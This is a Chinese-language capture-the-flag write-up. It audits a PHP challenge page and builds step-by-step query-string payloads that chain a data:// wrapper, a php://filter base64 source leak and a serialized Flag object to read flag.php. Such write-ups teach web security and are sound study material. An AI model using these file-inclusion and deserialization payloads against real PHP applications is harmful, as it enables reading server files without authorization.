当我们打开环境的时候看到的是一段很长的代码
1 <?php 2 $text = $_GET["text"]; 3 $file = $_GET["file"]; 4 $password = $_GET["password"];
//判断变量是否存在并且是否写入了welcome to the zjctf,
若是为真,则输出写入的结果 5 if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ 6 echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; 7 if(preg_match("/flag/",$file)){//查看是file是否存在着flag,如果有的话输出NOt now 然后退出,其实就是先不让你看flag的。 8 echo "Not now!"; 9 exit(); 10 }else{////文件包含,已经提示要我们查看userless.php 11 include($file); //useless.php 12 $password = unserialize($password);//反序列化$password 13 echo $password; 14 } 15 } 16 else{ 17 highlight_file(__FILE__); 18 } 19 ?>
首先先进行代码审计,这里已经分析出各个代码段的功能了
然后我们先了解一些其他的知识:
1.data协议
php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码
data伪协议只有在php<5.3且include=on时可以写木马。
用法:data://text/pain;
data://text/pain;base64;,xxxx(base64编码后的数据)
2.file协议
file://用于访问本地文件系统,在CTF当中通常用来读取本地文件且不受allow_url_fopen与allow_url_include的影响,
用法:file:// [文件的绝对路径和文件名]
3.php://filter协议
php://filter协议是php里独有的协议,可以作为一个中间流来处理其他流,可以用来读取数据,使用不同的参数会达到不同的目的和不同的效果。
现在我们来构造一下Pyload,一步一步来吧,利用第一个if条件来构造pyload,利用data:伪协议:
?text=data:text/plain,welcome to the zjctf
然后下一步,第二个if那儿,它不让我们看flag,而后面包含着一个unless.php。那我们直接访问它,然后将里面的数据给读取出来
好,构造pyload:
?text=data:text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
读取的数据加密成了base64,那我们需要解密一下
<?php class Flag{ //flag.php (题目源码注释) public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); //输出文件内容,通过这个函数读取flag echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
最后我们需要反序列化password:
<?php class Flag{ //flag.php public $file='flag.php'; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a=new Flag(); echo serialize($a); ?>
利用这个脚本跑一下,反序列化一下这个类,得的结果为:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
然后最终的pyload为:
?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
网页出现些这玩意儿,然后flag就在源代码里。